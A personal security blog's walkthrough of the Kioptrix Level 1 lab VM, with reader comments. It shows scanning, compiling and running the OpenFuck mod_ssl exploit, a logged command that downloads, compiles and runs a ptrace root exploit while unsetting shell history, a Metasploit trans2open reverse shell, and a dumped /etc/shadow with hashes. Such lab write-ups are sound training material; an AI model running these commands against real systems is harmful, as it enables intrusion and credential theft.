Kioptrix Level 1 (#1) Walkthrough

The next boot2root series that I decided to work on was the Kioptrix series by loneferret from VulnHub.

This seemed to be another series that was a bit closer to beginner/intermediate level, so I figured it would be another good series to do some walkthroughs on.

So, starting with Kioptrix Level 1, I downloaded the VM, spun up Kali, and got to work.

As usual, I first fired up netdiscover to find out the IP of the new host.

 Currently scanning: Finished!   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 240
 __________________________________________________________________
   IP            At MAC Address      Count  Len   MAC Vendor       
 ------------------------------------------------------------------
 172.16.119.1    00:50:56:c0:00:01    02    120   VMWare, Inc.     
 172.16.119.132  00:0c:29:7c:3a:16    01    060   VMware, Inc.     
 172.16.119.254  00:50:56:ff:a3:23    01    060   VMWare, Inc.     

root@kali:~#

IP in hand, I ran Nmap to figure out my first point of attack.

root@kali:~# nmap -sT -sV -O 172.16.119.132

Starting Nmap 6.47 ( http://nmap.org ) at 2015-04-24 21:24 EDT
Nmap scan report for 172.16.119.132
Host is up (0.00033s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/http    Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
1024/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:7C:3A:16 (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.81 seconds

I like to check out HTTP first, as it is usually a good place to start, so I headed to the home page to check it out.

This appeared to be a default apache installation, and DirBuster didn’t find anything other than default Apache files, some usage, and a worthless test.php file.


Getting nowhere fast, I fired up Nikto to see if this version of Apache or any of the plugins were remotely exploitable. A few lines caught my eye (emphasis added), so I decided to try to follow up with them.

root@kali:~# nikto -h 172.16.119.132
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          172.16.119.132
+ Target Hostname:    172.16.119.132
+ Target Port:        80
+ Start Time:         2015-04-24 21:36:38 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server leaks inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep  5 23:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ OSVDB-637: Enumeration of users is possible by requesting ~username (responds with 'Forbidden' for users, 'not found' for non-existent users).
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.7). Apache 2.0.65 (final release) and 2.2.26 are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1e). OpenSSL 0.9.8r is also current.
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. CVE-2002-0082, OSVDB-756.
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /test.php: This might be interesting...
+ 7355 requests: 0 error(s) and 20 item(s) reported on remote host
+ End Time:           2015-04-24 21:38:39 (GMT-4) (121 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Nothing seemed to come from the first vulnerability, but the second proved to be more fruitful. A bit of searching turned up a remote exploit for it entitled OpenFuckV2.c, so I downloaded that and tried to run it.

Of course it wouldn’t compile right away due to some RC4 and MD5 issues, so after a little bit of searching I found out it was slightly outdated, and needed to update some includes, libraries, and declarations of variables. More information on this can be found on PaulSec’s Blog.

root@kali:~# gcc -o OpenFuck OpenFuck.c 
OpenFuck.c:651:2: error: unknown type name ‘RC4_KEY’
OpenFuck.c:652:2: error: unknown type name ‘RC4_KEY’
OpenFuck.c: In function ‘read_ssl_packet’:
OpenFuck.c:844:7: error: ‘MD5_DIGEST_LENGTH’ undeclared (first use in this function)
OpenFuck.c:844:7: note: each undeclared identifier is reported only once for each function it appears in
OpenFuck.c: In function ‘send_ssl_packet’:
OpenFuck.c:882:2: error: unknown type name ‘MD5_CTX’
OpenFuck.c:887:23: error: ‘MD5_DIGEST_LENGTH’ undeclared (first use in this function)
OpenFuck.c: In function ‘get_server_hello’:
OpenFuck.c:1009:2: warning: passing argument 2 of ‘d2i_X509’ from incompatible pointer type [enabled by default]
In file included from /usr/include/openssl/ssl.h:156:0,
                 from OpenFuck.c:20:
/usr/include/openssl/x509.h:840:1: note: expected ‘const unsigned char **’ but argument is of type ‘unsigned char **’
OpenFuck.c: In function ‘generate_key_material’:
OpenFuck.c:1106:2: error: unknown type name ‘MD5_CTX’
OpenFuck.c:1111:42: error: ‘MD5_DIGEST_LENGTH’ undeclared (first use in this function)
OpenFuck.c: In function ‘generate_session_keys’:
OpenFuck.c:1127:23: error: ‘RC4_KEY’ undeclared (first use in this function)
OpenFuck.c:1127:31: error: expected expression before ‘)’ token
OpenFuck.c:1131:32: error: expected expression before ‘)’ token

Once I had all of my headers and includes (not the URL, more on that later) fixed I was able to compile it successfully, and then I was ready to move on.

root@kali:~# gcc -o OpenFuck OpenFuck.c -lcrypto
root@kali:~#

I ran the executable and searched for the appropriate Apache version, though there appeared to be 2 possible options.

root@kali:~# ./OpenFuck | grep "1.3.20"
	0x02 - Cobalt Sun 6.0 (apache-1.3.20)
	0x27 - FreeBSD (apache-1.3.20)
	0x28 - FreeBSD (apache-1.3.20)
	0x29 - FreeBSD (apache-1.3.20+2.8.4)
	0x2a - FreeBSD (apache-1.3.20_1)
	0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)
	0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)
	0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)
	0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
	0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
	0x7e - Slackware Linux 8.0 (apache-1.3.20)
	0x86 - SuSE Linux 7.3 (apache-1.3.20)

I ran the first possible option, but that didn’t appear to work.

root@kali:~# ./OpenFuck 0x6a 172.16.119.132

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x8100828
Ready to send shellcode
Spawning shell...
Good Bye!

The second attempt went much better, and attempted to run the post shell exploit which failed. This was expected as I had the network setup as private though, so I was still on track.

root@kali:~# ./OpenFuck 0x6b 172.16.119.132

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f80e0
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$ 
oits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; .nl/0304-expl
--05:43:10-- http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to packetstormsecurity.nl:80...
packetstormsecurity.nl: Host not found.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash-2.05$
bash-2.05$ unset HISTFILE; cd /tmp; ./ptrace; 
bash: ./ptrace: No such file or directory
bash-2.05$ 

I found the actual ptrace/kmod local exploit, downloaded it to the /tmp directory, compiled it, and executed it.

Success! This worked and gave up root.

bash-2.05$ ./ptrace
./ptrace
[+] Attached to 1080
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

It looked like there was some mail for root as opposed to an actual flag file, so I dumped that as well

cat /var/mail/root
From root  Sat Sep 26 11:42:10 2009
Return-Path: 
Received: (from root@localhost)
	by kioptix.level1 (8.11.6/8.11.6) id n8QFgAZ01831
	for root@kioptix.level1; Sat, 26 Sep 2009 11:42:10 -0400
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root 
Message-Id: <200909261542.n8QFgAZ01831@kioptix.level1>
To: root@kioptix.level1
Subject: About Level 2
Status: O

If you are reading this, you got root. Congratulations.
Level 2 won't be as easy...

Additionally, looking back, I decided to see if the SMB service was exploitable. First I checked the actual version of Samba running since Nmap didn’t pick it up.

msf (UNDERLINED) auxiliary(smb_version) > exploit

[*] 172.16.119..132:139 could not be identified: Unix (Samba 2.2.1a)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution complete

After a quick search, it seemed like this version might be vulnerable to the trans2open samba exploit, so I figured I’d give that a try as well. I fired up Metasploit to see if there was already a pre-built exploit for it to save me a little time, and because I hadn’t used the framework in a little while.

msf > use exploit/linux/samba/trans2open
msf exploit(trans2open) > set RHOST 172.16.119.132
RHOST => 172.16.119.132
msf exploit(trans2open) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf exploit(trans2open) > set LHOST 172.16.119.128
LHOST => 172.16.119.128
msf exploit(trans2open) > exploit

[*] Started reverse handler on 172.16.119.128:4444 
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
[*] Trying return address 0xbffffbfc...
[*] Trying return address 0xbffffafc...
[*] Command shell session 1 opened (172.16.119.128:4444 -> 172.16.119.132:1025) at 2015-04-24 23:15:13 -0400

id
uid=0(root) gid=0(root) groups=99(nobody)

And, as usual (when I can remember), I dumped the shadow file for future/anyone else’s reference.

cat /etc/shadow
root:$1$XROmcfDX$tF93GqnLHOJeGRHpaNyIs0:14513:0:99999:7:::
bin:*:14513:0:99999:7:::
daemon:*:14513:0:99999:7:::
adm:*:14513:0:99999:7:::
lp:*:14513:0:99999:7:::
sync:*:14513:0:99999:7:::
shutdown:*:14513:0:99999:7:::
halt:*:14513:0:99999:7:::
mail:*:14513:0:99999:7:::
news:*:14513:0:99999:7:::
uucp:*:14513:0:99999:7:::
operator:*:14513:0:99999:7:::
games:*:14513:0:99999:7:::
gopher:*:14513:0:99999:7:::
ftp:*:14513:0:99999:7:::
nobody:*:14513:0:99999:7:::
mailnull:!!:14513:0:99999:7:::
rpm:!!:14513:0:99999:7:::
xfs:!!:14513:0:99999:7:::
rpc:!!:14513:0:99999:7:::
rpcuser:!!:14513:0:99999:7:::
nfsnobody:!!:14513:0:99999:7:::
nscd:!!:14513:0:99999:7:::
ident:!!:14513:0:99999:7:::
radvd:!!:14513:0:99999:7:::
postgres:!!:14513:0:99999:7:::
apache:!!:14513:0:99999:7:::
squid:!!:14513:0:99999:7:::
pcap:!!:14513:0:99999:7:::
john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::
harold:$1$Xx6dZdOd$IMOGACl3r757dv17LZ9010:14513:0:99999:7:::

This was definitely on the beginner end of the spectrum, but a perfect starting point for anyone interested in getting started with some of these. That said, I look forward to continuing with the rest of the series.

doyler on Githubdoyler on Twitter
doyler

Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCP, eCPPT, eWPT, eWPTX, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!


He currently serves as a Senior Penetration Testing Consultant for SecureWorks. His previous position was a Senior Penetration Tester for a major financial institution.


When he’s not figuring out what cert to get next (OSCE?!) or side project to work on, he enjoys playing video games, traveling, and watching sports.


14 Comments

Filed under Security Not Included

14 Responses to Kioptrix Level 1 (#1) Walkthrough

  1. Machete

    I get these errors when I try to compile it. I have added the headers to it and everything but it seems like my amazing C experience isn’t helping ^,^ …

    764.c:645:24: error: ‘SSL2_MAX_CONNECTION_ID_LENGTH’ undeclared here (not in a function)
    unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
    ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    764.c: In function ‘read_ssl_packet’:
    764.c:847:19: error: ‘SSL2_MT_ERROR’ undeclared (first use in this function)
    if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) {
    ^~~~~~~~~~~~~
    764.c:847:19: note: each undeclared identifier is reported only once for each function it appears in
    764.c: In function ‘get_server_hello’:
    764.c:979:16: error: ‘SSL2_MT_SERVER_HELLO’ undeclared (first use in this function)
    if (*(p++) != SSL2_MT_SERVER_HELLO) {
    ^~~~~~~~~~~~~~~~~~~~
    764.c: In function ‘send_client_master_key’:
    764.c:1071:10: error: dereferencing pointer to incomplete type ‘EVP_PKEY {aka struct evp_pkey_st}’
    if (pkey->type != EVP_PKEY_RSA) {
    ^~
    764.c: In function ‘get_server_verify’:
    764.c:1148:16: error: ‘SSL2_MT_SERVER_VERIFY’ undeclared (first use in this function)
    if (buf[0] != SSL2_MT_SERVER_VERIFY) {
    ^~~~~~~~~~~~~~~~~~~~~
    764.c: In function ‘send_client_finished’:
    764.c:1160:11: error: ‘SSL2_MT_CLIENT_FINISHED’ undeclared (first use in this function)
    buf[0] = SSL2_MT_CLIENT_FINISHED;
    ^~~~~~~~~~~~~~~~~~~~~~~
    764.c: In function ‘get_server_finished’:
    764.c:1173:16: error: ‘SSL2_MT_SERVER_FINISHED’ undeclared (first use in this function)
    if (buf[0] != SSL2_MT_SERVER_FINISHED) {

  2. Abhishek

    read_ssl_packet: Record length out of range (rec_len = 0)

  3. Good, informative walk through, cheers. Interesting how you targeted the http first. I look forward to reading the rest…

    • Thanks! Yea, HTTP is usually a good place to start in a CTF/engagement regardless. It usually has the largest attack surface, or can at least get you started in a proper direction. That said, you can also kick of scanners for the other services at the same time (nse smb vuln scripts, etc.)

  4. Pingback: Kioptrix 1 – First up – Infosec Notes to Myself

  5. Pingback: URL

  6. Hello Please i need to know the header i am going include
    Thanks in advance

Leave a Reply

Your email address will not be published. Required fields are marked *

ERROR: si-captcha.php plugin: GD image support not detected in PHP!

Contact your web host and ask them to enable GD image support for PHP.

ERROR: si-captcha.php plugin: imagepng function not detected in PHP!

Contact your web host and ask them to enable imagepng for PHP.